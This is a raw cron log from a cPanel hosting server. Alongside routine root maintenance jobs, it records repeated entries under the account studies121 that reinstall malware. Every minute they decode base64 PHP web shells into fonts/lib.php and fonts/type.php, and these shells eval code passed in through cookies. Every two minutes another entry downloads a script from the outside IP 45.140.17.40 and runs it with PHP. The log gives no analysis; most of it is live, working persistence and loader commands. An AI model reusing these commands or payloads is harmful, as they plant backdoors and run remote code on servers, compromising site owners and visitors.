Sep 12 04:30:01 ip-184-168-122-23 CROND[25721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:30:01 ip-184-168-122-23 CROND[25723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:30:01 ip-184-168-122-23 CROND[25722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:30:01 ip-184-168-122-23 CROND[25725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:30:01 ip-184-168-122-23 CROND[25724]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 12 04:30:01 ip-184-168-122-23 CROND[25727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:30:01 ip-184-168-122-23 CROND[25728]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:30:01 ip-184-168-122-23 CROND[25729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:30:01 ip-184-168-122-23 CROND[25731]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep 12 04:31:01 ip-184-168-122-23 CROND[25849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:31:01 ip-184-168-122-23 CROND[25851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:31:01 ip-184-168-122-23 CROND[25852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:31:01 ip-184-168-122-23 CROND[25853]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 04:31:01 ip-184-168-122-23 CROND[25854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:32:01 ip-184-168-122-23 CROND[25949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:32:01 ip-184-168-122-23 CROND[25948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:32:01 ip-184-168-122-23 CROND[25950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:32:01 ip-184-168-122-23 CROND[25947]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:32:01 ip-184-168-122-23 CROND[25951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:33:01 ip-184-168-122-23 CROND[26067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:33:01 ip-184-168-122-23 CROND[26068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:33:01 ip-184-168-122-23 CROND[26071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:33:01 ip-184-168-122-23 CROND[26073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:34:01 ip-184-168-122-23 CROND[26164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:34:01 ip-184-168-122-23 CROND[26162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:34:01 ip-184-168-122-23 CROND[26166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:34:01 ip-184-168-122-23 CROND[26165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:34:01 ip-184-168-122-23 CROND[26163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:35:01 ip-184-168-122-23 CROND[26342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:35:01 ip-184-168-122-23 CROND[26348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:35:01 ip-184-168-122-23 CROND[26350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:35:01 ip-184-168-122-23 CROND[26349]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 04:35:01 ip-184-168-122-23 CROND[26347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:35:01 ip-184-168-122-23 CROND[26346]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 04:35:01 ip-184-168-122-23 CROND[26351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:35:01 ip-184-168-122-23 CROND[26352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:36:01 ip-184-168-122-23 CROND[26473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:36:01 ip-184-168-122-23 CROND[26474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:36:01 ip-184-168-122-23 CROND[26475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:36:01 ip-184-168-122-23 CROND[26472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:36:01 ip-184-168-122-23 CROND[26476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:37:01 ip-184-168-122-23 CROND[26577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:37:01 ip-184-168-122-23 CROND[26579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:37:01 ip-184-168-122-23 CROND[26578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:37:01 ip-184-168-122-23 CROND[26580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:38:01 ip-184-168-122-23 CROND[26684]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep 12 04:38:01 ip-184-168-122-23 CROND[26686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:38:01 ip-184-168-122-23 CROND[26687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:38:01 ip-184-168-122-23 CROND[26688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:38:01 ip-184-168-122-23 CROND[26690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:38:01 ip-184-168-122-23 CROND[26689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:39:01 ip-184-168-122-23 CROND[27027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:39:01 ip-184-168-122-23 CROND[27029]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 04:39:01 ip-184-168-122-23 CROND[27032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:39:01 ip-184-168-122-23 CROND[27033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:39:01 ip-184-168-122-23 CROND[27037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:40:02 ip-184-168-122-23 CROND[27837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:40:02 ip-184-168-122-23 CROND[27840]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:40:02 ip-184-168-122-23 CROND[27842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:40:02 ip-184-168-122-23 CROND[27838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:40:02 ip-184-168-122-23 CROND[27844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:40:02 ip-184-168-122-23 CROND[27846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:40:02 ip-184-168-122-23 CROND[27839]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:40:02 ip-184-168-122-23 CROND[27841]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 04:41:01 ip-184-168-122-23 CROND[28344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:41:01 ip-184-168-122-23 CROND[28345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
